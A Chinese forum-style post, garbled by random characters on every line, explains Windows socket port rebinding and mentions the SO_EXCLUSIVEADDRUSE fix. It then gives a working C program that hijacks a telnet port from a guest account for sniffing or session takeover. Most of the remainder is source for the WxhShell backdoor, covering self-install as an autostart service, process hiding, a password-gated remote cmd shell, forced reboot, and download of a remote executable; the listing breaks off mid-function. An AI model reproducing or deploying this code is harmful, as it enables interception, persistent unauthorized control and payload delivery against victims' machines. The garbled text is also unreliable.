在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_*SA_.0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>K2Md*[P3q 5g{F- saddr.sin_family = AF_INET;
:bhpYEUMx Rt[zZv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t'@qb~sf !u0qF!/W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lo%:$2*'p $]Vvu{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5zqlK-$ X(Wd 这意味着什么?意味着可以进行如下的攻击:
_rz*7-ks= ]}~[2k. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
H~IN<3ko I-QaR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_ZnVQ,zY x!A.** 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>Bj+!)96q wm$1LZ8o-` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
oTPPYi[r 1,tM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
f"=1_*eH s:6pPJL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5jTBPct Aqwjs
3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
B4yC"55 /=5YHq> #include
I'_u4 #include
\UdHN=A& #include
UUf-G0/P #include
a19yw]hF5 DWORD WINAPI ClientThread(LPVOID lpParam);
Y 7a<3> int main()
SOq{`~,4B {
I?l%RdGW WORD wVersionRequested;
Jv|uI1V DWORD ret;
S+d@RMdes WSADATA wsaData;
0jlwL BOOL val;
hpxqL%r SOCKADDR_IN saddr;
E0miX)AG SOCKADDR_IN scaddr;
-gWqq7O int err;
| Vtd!9 SOCKET s;
#sn2Vmi SOCKET sc;
Jzg>Y?jN R int caddsize;
\M
H\! HANDLE mt;
RGw=!0V DWORD tid;
f
xWW"B*A wVersionRequested = MAKEWORD( 2, 2 );
0'giAA err = WSAStartup( wVersionRequested, &wsaData );
FZW)C'j if ( err != 0 ) {
FJ|6R( T_ printf("error!WSAStartup failed!\n");
cK;,=\ return -1;
(QPfrR=J4 }
^r u1QDT saddr.sin_family = AF_INET;
f__r" N 4xg7oo0iJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y|BRAk&n 8E m X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"Dc6kn^}3 saddr.sin_port = htons(23);
*?zyF@K{% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d+1q[,- {
9aED6 printf("error!socket failed!\n");
TTS.wBpR, return -1;
%>dCAj" }
u7_IO val = TRUE;
U;Iqz1S //SO_REUSEADDR选项就是可以实现端口重绑定的
qP"+SVqC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%nTgrgS(= {
_B@=fY(g! printf("error!setsockopt failed!\n");
tSr.0'CE return -1;
)%4%Uo_Xm }
,cbCt //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
HC4vet //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Svs!C+:le //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?R
4sH :u%Jrc(W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4,8=0[eRG {
N3D{t\hg ret=GetLastError();
h|=<I)}z printf("error!bind failed!\n");
X=i^[?C return -1;
e/pZLj]M }
YEL,TU listen(s,2);
PdUlwT?8C while(1)
:x36^{7 {
OJ (ho&(( caddsize = sizeof(scaddr);
Ow0-}Im~ //接受连接请求
Zc_%hQf2A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
xWw Qm'I2} if(sc!=INVALID_SOCKET)
Hm>M}MF3 {
Z/#&c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
u&q RK>wLa if(mt==NULL)
.?L&k|wX- {
.eg?FB'7 printf("Thread Creat Failed!\n");
d|^cKLu break;
$\S;f"IM. }
.AIlv^:|U }
5pF4{Jd1 CloseHandle(mt);
ze+_iQ5 }
(;f7/2~` closesocket(s);
q5jLK) WSACleanup();
0y>]68D return 0;
K,uTO7Mk[ }
wT;3>%Mtr DWORD WINAPI ClientThread(LPVOID lpParam)
3?x4+b {
g_kR5Wxpt SOCKET ss = (SOCKET)lpParam;
<Yzk]98W5. SOCKET sc;
,G";ny[$ unsigned char buf[4096];
\7W4)>At- SOCKADDR_IN saddr;
{u3eel long num;
lzJ[ `i. DWORD val;
"pP5;*^f DWORD ret;
V-#OiMWa~ //如果是隐藏端口应用的话,可以在此处加一些判断
_|VWf 8?\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*Y4h26 saddr.sin_family = AF_INET;
^
:%"Z& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-Wp69DP6q saddr.sin_port = htons(23);
bPaE;?m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;.Lf9XJ {
p$>e{-u printf("error!socket failed!\n");
_/@VV5Mq return -1;
F\' ^DtB }
N!7r~B
val = 100;
WD wW` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<78]OZ] Z {
X67.%>#3 ret = GetLastError();
]}4{|& e return -1;
_R&}CP }
!ke_?+8sY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l>l)m-;O {
v35wlt^} ret = GetLastError();
-&4W0JK9 return -1;
yv.Y-c= }
(&n4^tJ+_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ls5s}X {
L0v& m printf("error!socket connect failed!\n");
m7zx,bz> closesocket(sc);
ooJ ^8L closesocket(ss);
oSmv
(O return -1;
x"hZOgFZ }
L@ ,-V while(1)
fZoV\a6Kj {
h8IjTd]z{$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"qL4D4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
5hNjJqu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kbqG) num = recv(ss,buf,4096,0);
a&>Tk% if(num>0)
.C]V==z`[4 send(sc,buf,num,0);
^P5+ _P else if(num==0)
jy=dB-& break;
rg Q6/3}qc num = recv(sc,buf,4096,0);
A=Au>"nAA if(num>0)
qT`sPEs;V send(ss,buf,num,0);
z^+`S: else if(num==0)
\(y6o}aW break;
#+mt}w/ }
w28!Yj1Q closesocket(ss);
NGl/F{< closesocket(sc);
TW2OT } return 0 ;
MA\^<x_?L} }
71AR)6<R ;D Mv?-H }E=:k&IDPB ==========================================================
D`nW9i7 SU0K#: 下边附上一个代码,,WXhSHELL
LnQm2uF Of)EBa<5^ ==========================================================
v 4@=>L 1<hj3 #include "stdafx.h"
Qr`WPTQr" 9zdp8?T #include <stdio.h>
,|gX?[o #include <string.h>
/O"IA4O #include <windows.h>
V=<OV]0 #include <winsock2.h>
Pn )^mt #include <winsvc.h>
^;J@]&[
~ #include <urlmon.h>
l0cws`V zCrDbGvqF` #pragma comment (lib, "Ws2_32.lib")
@@L@r6 #pragma comment (lib, "urlmon.lib")
(p1y/"Xh ahagt9[,:F #define MAX_USER 100 // 最大客户端连接数
(!h%)
_?.l #define BUF_SOCK 200 // sock buffer
sOc<'):TK #define KEY_BUFF 255 // 输入 buffer
7U#`^Q} wJ_E\v P #define REBOOT 0 // 重启
)9~1XiS, #define SHUTDOWN 1 // 关机
OrXx0Hn sb
3l4(8g
#define DEF_PORT 5000 // 监听端口
fo63H'7
:e-&,K #define REG_LEN 16 // 注册表键长度
EleK*l #define SVC_LEN 80 // NT服务名长度
jM%qv "j+zd&*={ // 从dll定义API
K`!q1g` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,vBi)H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
SK2nxZOH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#q{i<E 07 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M8Y\1#~ m5HP56a // wxhshell配置信息
O.7Q*^_ struct WSCFG {
neQ2k=ao int ws_port; // 监听端口
rbP"
n)0= char ws_passstr[REG_LEN]; // 口令
NTRw:' int ws_autoins; // 安装标记, 1=yes 0=no
N2yxli char ws_regname[REG_LEN]; // 注册表键名
=Qt08,.bW char ws_svcname[REG_LEN]; // 服务名
&5&C
char ws_svcdisp[SVC_LEN]; // 服务显示名
)^+v*=Dc-i char ws_svcdesc[SVC_LEN]; // 服务描述信息
'}a[9v76 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}s;W{Q int ws_downexe; // 下载执行标记, 1=yes 0=no
ny:c&XS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Lp\89tB> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&]VCZQL fMjn8. };
3z Jbb3e ZN)a}\] // default Wxhshell configuration
L@*0wx`fU struct WSCFG wscfg={DEF_PORT,
76[O3% "xuhuanlingzhe",
@:$zReS2 1,
}8E//$J "Wxhshell",
Ro+/=*ql~ "Wxhshell",
|]7z "WxhShell Service",
sY?pp
'}a "Wrsky Windows CmdShell Service",
6x\+j "Please Input Your Password: ",
jEBZ"Jvb 1,
o[AQS` "
http://www.wrsky.com/wxhshell.exe",
/p~Wk4' "Wxhshell.exe"
8" Z!: =A };
csTX',c OZ?4"1$.t // 消息定义模块
|;q*Zy( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4]$cf: char *msg_ws_prompt="\n\r? for help\n\r#>";
.+XGbs]kCi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}+U} [G char *msg_ws_ext="\n\rExit.";
mq$mB1$3u char *msg_ws_end="\n\rQuit.";
CFJ F}aW char *msg_ws_boot="\n\rReboot...";
zn5 char *msg_ws_poff="\n\rShutdown...";
x1)G!i char *msg_ws_down="\n\rSave to ";
q_Td!?2? Tfc5R;Rw char *msg_ws_err="\n\rErr!";
Y7R"~IA$ char *msg_ws_ok="\n\rOK!";
|xaJv:96% O~F/pJN` char ExeFile[MAX_PATH];
;u LD_1% int nUser = 0;
'tK5s>gv< HANDLE handles[MAX_USER];
u/FnA-L4 int OsIsNt;
4VE7%.z+ pfW0)V1t SERVICE_STATUS serviceStatus;
620y[iiK$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
/>fy@nPl| 4ew|5Zex.~ // 函数声明
VXvr`U\ int Install(void);
;i`X&[y; int Uninstall(void);
!pI)i*V| int DownloadFile(char *sURL, SOCKET wsh);
:<d\//5<9 int Boot(int flag);
=LJc8@<:f void HideProc(void);
"m3:HS int GetOsVer(void);
ShanwaCDqv int Wxhshell(SOCKET wsl);
5,!,mor$] void TalkWithClient(void *cs);
m3]|I(]`Xe int CmdShell(SOCKET sock);
)5P*O5kQ - int StartFromService(void);
=%AFn9q int StartWxhshell(LPSTR lpCmdLine);
.)^@[yrkz 0A[p3xE\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&)L2a) VOID WINAPI NTServiceHandler( DWORD fdwControl );
s)%RmsdL E)|_7x<u // 数据结构和表定义
<^VZ4$j SERVICE_TABLE_ENTRY DispatchTable[] =
HBYqqEO {
j(G}4dib {wscfg.ws_svcname, NTServiceMain},
0 3L"W^gc {NULL, NULL}
~uRG~,{rH };
D3yG@lIP3 ~1YL // 自我安装
*&B1(&{:V int Install(void)
D"fE )@Q@Y {
WlP#L` char svExeFile[MAX_PATH];
MP, l*wVd HKEY key;
QZk:G+$ strcpy(svExeFile,ExeFile);
vTYI
ez`g yv4ki5u` // 如果是win9x系统,修改注册表设为自启动
Ky`rf}cI> if(!OsIsNt) {
+=%13cA*U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[wl:"rm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^z3-$98=A RegCloseKey(key);
Ltpd:c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C,C%1
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"Iu[)O% RegCloseKey(key);
$DC*&hqpt return 0;
B M{GSX }
")7,ZN; }
x Yr-,$/ }
{e[S?1t=l else {
(A?{6 0~RsdQGqC // 如果是NT以上系统,安装为系统服务
U7J0& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
KC o<% if (schSCManager!=0)
-i|qk`Y {
>%+"-bY SC_HANDLE schService = CreateService
13Ga # (
]@1YgV schSCManager,
XhFa9RC wscfg.ws_svcname,
ke|v|@ wscfg.ws_svcdisp,
94%gg0azp SERVICE_ALL_ACCESS,
j~V@0z. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
w.J[3m/ SERVICE_AUTO_START,
(utm+*V, SERVICE_ERROR_NORMAL,
*w4jE T> svExeFile,
,.tT9?
m NULL,
EDvK9J NULL,
&$ F0 NULL,
ayyn6a8 NULL,
A|tee@H*0 NULL
"xZ]i) );
$*K5 if (schService!=0)
vP&dvAUF {
Z$0r+phQk= CloseServiceHandle(schService);
?*E Y~'I CloseServiceHandle(schSCManager);
*=dFTd"# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/ee:GjUkB strcat(svExeFile,wscfg.ws_svcname);
"^gZh3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
y|q4d(P. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
r9@O`i RegCloseKey(key);
gBHev1^y return 0;
NUb^!E" }
tx&>Eo }
B{a:cz>0< CloseServiceHandle(schSCManager);
{f#{NA5 }
&KgR;.R^J }
nul? 5{z@ _~_04p return 1;
>yUThhJRn }
dra'1E ];6c/#2x // 自我卸载
_3tHzDSG# int Uninstall(void)
m3
; {
wq_c^Ioy HKEY key;
@8Drhx (p`'Okw if(!OsIsNt) {
C=@BkneQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v83uGEq( RegDeleteValue(key,wscfg.ws_regname);
shxr^ RegCloseKey(key);
IGT~@); if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(}O)pqZ> RegDeleteValue(key,wscfg.ws_regname);
a*CP1@O RegCloseKey(key);
>h<eEv/ return 0;
f2_LfbvH }
UA{sUj+? }
# j*$ `W; }
>OE.6)'Rm else {
[Z,AquCU( r\vB-nJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
yk#yrxM if (schSCManager!=0)
qyUcjc%[ {
p*!@z|F>U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nSsVONHfa if (schService!=0)
( y^oGY; {
M
^ZoBsZ if(DeleteService(schService)!=0) {
Y_>z"T CloseServiceHandle(schService);
BzF.KCScs CloseServiceHandle(schSCManager);
51.F,uY return 0;
a\vf{2
}
CB_(9T72H CloseServiceHandle(schService);
:tdx: }
t2p/NIn CloseServiceHandle(schSCManager);
]~8bh*,= }
]?-56c, }
`NXyzT`:K dpZ7eJ return 1;
m<8j' [+ }
"+_]N9%) vKAHf;1 // 从指定url下载文件
~D@V@sX int DownloadFile(char *sURL, SOCKET wsh)
zA&0H {
,M7sOp6} HRESULT hr;
f Otrn char seps[]= "/";
|C'w] QYm char *token;
KwPJ0
]('_ char *file;
=t@m: char myURL[MAX_PATH];
~0ZEnejy char myFILE[MAX_PATH];
D\(,:_ge 78+H|bH8 strcpy(myURL,sURL);
MP[v 9m@ token=strtok(myURL,seps);
\*LMc69
while(token!=NULL)
n8[sR;r5f {
x@DXW( file=token;
eno*JK token=strtok(NULL,seps);
{,IWjt &> }
?MKf=!w P)1@HDN== GetCurrentDirectory(MAX_PATH,myFILE);
2@08 V| strcat(myFILE, "\\");
`"AjbCL strcat(myFILE, file);
}S*6+4 send(wsh,myFILE,strlen(myFILE),0);
z$7YC49^ send(wsh,"...",3,0);
+Jt"JJ>% k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
P(X#w if(hr==S_OK)
gK(E0p" return 0;
XYod>[.x else
l]WV?^* return 1;
a47Btd'm (&x~pv"+ }
?[RG8,B vR,HCI // 系统电源模块
hp-<8Mf int Boot(int flag)
~pzaX8! {
W:(:hT6`j9 HANDLE hToken;
MF 5w.@62X TOKEN_PRIVILEGES tkp;
FVY,CeA. WcH^bAY 6 if(OsIsNt) {
yp@mxI@1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$k'f)E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3Xd+>'H tkp.PrivilegeCount = 1;
EyBdL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
15yIPv+5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Td;e\s/] if(flag==REBOOT) {
Ub3,x~V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W**=X\"' return 0;
.kC}. Q_ }
H kg@M?( else {
/@3+zpaw X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(R6ZoBZ return 0;
S<Q1
&], }
<(f4#BP }
v/m`rc]e else {
v~jN,f* if(flag==REBOOT) {
~%<PEl| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xR_]^Get return 0;
>E]*5jqU }
]m4LY.SQ else {
*r-Bt1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
bzJKoxU return 0;
t<`ar@} }
@J r }
<U~P-c
tN Q@$1!9m return 1;
hJ}G5pX }
!?l 23(d fx;5j; // win9x进程隐藏模块
r#Pd@SV void HideProc(void)
8U;!1!+
7) {
{;p/V\ 8ZIv:nO$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
spl*[ d if ( hKernel != NULL )
9&d BL0 {
|HG%o
3E] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qS2%U?S7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0I#<-9&d- FreeLibrary(hKernel);
0(i`~g5 }
[;?^DAnK2 I7uYsjh@u return;
}s)Z:6;(,q }
92SB'T> ;JZXSM-3 // 获取操作系统版本
{xH
\!!"T int GetOsVer(void)
/ZzlC#` {
s]I],>}RU OSVERSIONINFO winfo;
3R{-\ZMd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;zCHEz GetVersionEx(&winfo);
TuF:m"4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B"qG-ci return 1;
5=?&q 'i else
?DRC!
9o^ return 0;
Ee|@l3) }
K[ \z'9Q hV,3xrm?P // 客户端句柄模块
*jJ62-o int Wxhshell(SOCKET wsl)
VLO>{"{' {
:?p{ga9 SOCKET wsh;
+]>a`~ struct sockaddr_in client;
bkM$ Qo DWORD myID;
\;?\@vo< t{7l.>kf while(nUser<MAX_USER)
b~Ruhi[E {
]Yj>~k:K int nSize=sizeof(client);
Gg!))I+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
R80R{Ze if(wsh==INVALID_SOCKET) return 1;
y&CUT:M6 9.@(& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fC-^[Af) if(handles[nUser]==0)
p;5WLAF closesocket(wsh);
b9YpUm7# else
+p[~hM6? nUser++;
6
%=BYDF }
JxvwquI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=3T?U_u@ }+lxja]C return 0;
e7qT; }
x:bYd\
EJ[ 3Yf$WE8#l // 关闭 socket
gON6jnDO void CloseIt(SOCKET wsh)
{c1qC zM4 {
|`okIqp closesocket(wsh);
G8&'*7Bb nUser--;
%*gO<U4L] ExitThread(0);
#<~f~{x }
7 dzE"m [x)e6p) // 客户端请求句柄
yjr@v!o void TalkWithClient(void *cs)
m3WV<Cbz {
w\mF2h N<{`n; SOCKET wsh=(SOCKET)cs;
BmM,vllO char pwd[SVC_LEN];
7^iAc6QSy3 char cmd[KEY_BUFF];
x L BG}C char chr[1];
q)~qd$yMS int i,j;
6+FON$8 b1#=q0Zl while (nUser < MAX_USER) {
t#q>U%! J#kdyBmuO if(wscfg.ws_passstr) {
w*
I+~o- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c]]F`B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s6D-?G*u%8 //ZeroMemory(pwd,KEY_BUFF);
H94.E|Q\+ i=0;
}-vBRY while(i<SVC_LEN) {
HDEG/k/~m +doT^&2u* // 设置超时
br;G5^j3? fd_set FdRead;
]M2<I#hF. struct timeval TimeOut;
./
:86@O FD_ZERO(&FdRead);
KRtu@;? FD_SET(wsh,&FdRead);
93J)9T TimeOut.tv_sec=8;
}*'ha=`J TimeOut.tv_usec=0;
bxN;"{>Xz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F[u%t34' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
p4t)Z#0 V9VP"kD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x.yL'J\) pwd
=chr[0]; *p3P\ H^5
if(chr[0]==0xd || chr[0]==0xa) { SSXS
pwd=0; d0B+syl&4l
break; nADd,|xD3
} [!le 9aNg
i++; jE#8&P~
} CwvNxH#LVu
wb[(_@eZ
// 如果是非法用户,关闭 socket k)s 7Ev*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 78)^vvn5~
} k~#|8eLv
TJpv"V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K5>:WiY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @QG1\W'
`k&K"jA7$
while(1) { l:eN u}{&
C6w{"[Wv=X
ZeroMemory(cmd,KEY_BUFF); @"8QG^q8de
DKl7|zG4
// 自动支持客户端 telnet标准 }/spo3,6
j=0; e{;e
while(j<KEY_BUFF) { b0X[x{k"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^0Q*o1W
cmd[j]=chr[0]; yxN!*~BvL
if(chr[0]==0xa || chr[0]==0xd) { \zU5G#LQ
cmd[j]=0; ?U08A{ c
break; 1VFqT'
} pCc7T-"og
j++; %B*dj9n^q
} !j9i=YDb
mPin\-I
// 下载文件 Aa>gN
if(strstr(cmd,"http://")) { S=p u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Ca\ (82
if(DownloadFile(cmd,wsh)) cEdJn@ ,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'cN#rHPB6
else }yw;L(3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9/Dt:R3QU
} N| Pm|w*?
else { Ra5'x)m36)
~ fEs!hl
switch(cmd[0]) { sRQh~5kM
ok[=1gA#h
// 帮助 SAh054/St
case '?': { t3$gwO$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JF%=Bc $C
break; 3|Sy'J0'K
} Uob |Q=MQ
// 安装 ATM:As:<@
case 'i': { ^~qs-.?
if(Install()) +[/47uFbI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -5 /v`
else ~[TKVjyO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *"FLkC4
break; 2?iOB6
} 6;frIl;
// 卸载 !`[I>:Ex
case 'r': { |7zP8
if(Uninstall()) G*i# \
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5jV97x)BGx
else ^r*%BUU9]%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gr$*t,ZW
break; nFnF_
} `l2<
// 显示 wxhshell 所在路径 otf%kG w
case 'p': { ll\^9
4]Q
char svExeFile[MAX_PATH]; k(z<Bm
strcpy(svExeFile,"\n\r"); xg,]M/J
strcat(svExeFile,ExeFile); NK9WrUj)
send(wsh,svExeFile,strlen(svExeFile),0); =8p+-8M[d
break; ASZ5;N4u
} <nTmZ-;
// 重启 ef}E.Bl
case 'b': { 3
9{"T0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eM=) >zl
if(Boot(REBOOT)) '0')6zW5s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c48J!,jCd'
else { %;(|KrUN
closesocket(wsh); _~ZQ b
ExitThread(0); xPMyG);
} BX(d"z b<
break; ?ZHE8
} ?h )3S7
// 关机 )^f9[5ee
case 'd': { %}MA5 t]o
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;%7XU~<a
if(Boot(SHUTDOWN)) QHs:=i~VH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZ!$%.?l
else { L\Fu']l
closesocket(wsh); >9<8G]vcH
ExitThread(0); O%K?l}e
} @=NVOJy}c
break; R #3Q$
} G:c8`*5Q
// 获取shell 8#]7`o
case 's': { )xvx6?Ah|
CmdShell(wsh); R^yZG{?t
closesocket(wsh); _d[2_b1
ExitThread(0); LlA`QLe
break; KtUGI.X
} 40Qzo%eL
// 退出 mE^tzyh
case 'x': { >!Ap/{2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nK jeH@
CloseIt(wsh); \gp,Txueb
break; AO}i@YJth
} _Hd1sx
// 离开 <a+eF}*2
case 'q': { X}j'L&{F@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0?F@iB~1F
closesocket(wsh);
AZy~Q9Kc
WSACleanup(); -':"6\W
exit(1); noaN@K[GO
break; Xh0wWU*
} 7"n1it[RJ8
} Lk`k>Nn)
} NT;x1
O~#uQm
// 提示信息 >2lAy:B5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~w1{zxs
} fsrg2:kQ
} N{^>MRK=5
l|vWeBs
return; 20/P M9
} i|c`M/) h:
:!I)r$
// shell模块句柄 JMirz~%ib
int CmdShell(SOCKET sock) pY)j0tdd
{ jA-5X?!In
STARTUPINFO si; hmBnV
ZeroMemory(&si,sizeof(si)); \za5:?[xB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Rt1CDu
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x0u?*5-t
PROCESS_INFORMATION ProcessInfo; 7~kpRa@\P
char cmdline[]="cmd"; 5mna7BCEb
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m0I #
return 0; -B *<Q[_
} XWUvP
R(2HYZ
// 自身启动模式 iM?I
/\
int StartFromService(void) 2H?I'<NoC
{ Bbl)3$`,
typedef struct O^X[9vrW
{ 'YZI>V*
DWORD ExitStatus; vZ[$H
DWORD PebBaseAddress; .#= j
<&
DWORD AffinityMask; @ate49W
DWORD BasePriority; 5W[3_P+
